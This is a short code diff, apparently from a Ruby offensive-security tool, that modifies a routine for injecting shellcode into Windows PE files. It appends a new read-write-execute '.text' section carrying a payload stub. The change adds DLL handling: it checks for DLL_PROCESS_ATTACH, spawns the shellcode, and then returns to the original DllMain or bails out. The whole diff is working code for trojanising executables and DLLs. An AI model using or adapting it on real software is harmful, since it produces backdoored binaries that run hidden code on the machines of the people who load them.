@@ -31,7 +31,6 @@ def processor
31
31
32
32
def create_thread_stub
33
33
<<-EOS
34
- hook_entrypoint:
35
34
pushad
36
35
push hook_libname
37
36
call [iat_LoadLibraryA]
@@ -68,8 +67,9 @@ def payload_as_asm
68
67
return asm
69
68
end
70
69
71
- def payload_stub
72
- asm = create_thread_stub
70
+ def payload_stub ( prefix )
71
+ asm = "hook_entrypoint:\n #{ prefix } \n "
72
+ asm << create_thread_stub
73
73
asm << payload_as_asm
74
74
shellcode = Metasm ::Shellcode . assemble ( processor , asm )
75
75
shellcode . encoded
@@ -85,14 +85,34 @@ def generate_pe
85
85
pe . mz . encoded . export = pe_orig . encoded [ 0 , 512 ] . export . dup
86
86
pe . header . time = pe_orig . header . time
87
87
88
+ prefix = ''
89
+ if pe . header . characteristics . include? "DLL"
90
+ # if there is no entry point, just return after we bail or spawn shellcode
91
+ if pe . optheader . entrypoint == 0
92
+ prefix = "cmp [esp + 8], 1
93
+ jz spawncode
94
+ entrypoint:
95
+ xor eax, eax
96
+ inc eax
97
+ ret 0x0c
98
+ spawncode:"
99
+ else
100
+ # there is an entry point, we'll need to go to it after we bail or spawn shellcode
101
+ # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
102
+ prefix = "cmp [esp + 8], 1
103
+ jnz entrypoint"
104
+ end
105
+ end
88
106
# Generate a new code section set to RWX with our payload in it
89
107
s = Metasm ::PE ::Section . new
90
108
s . name = '.text'
91
- s . encoded = payload_stub
109
+ s . encoded = payload_stub prefix
92
110
s . characteristics = %w[ MEM_READ MEM_WRITE MEM_EXECUTE ]
93
111
94
112
# Tell our section where the original entrypoint was
95
- s . encoded . fixup! ( 'entrypoint' => pe . optheader . image_base + pe . optheader . entrypoint )
113
+ if pe . optheader . entrypoint != 0
114
+ s . encoded . fixup! ( 'entrypoint' => pe . optheader . image_base + pe . optheader . entrypoint )
115
+ end
96
116
pe . sections << s
97
117
pe . invalidate_header
98
118
0 commit comments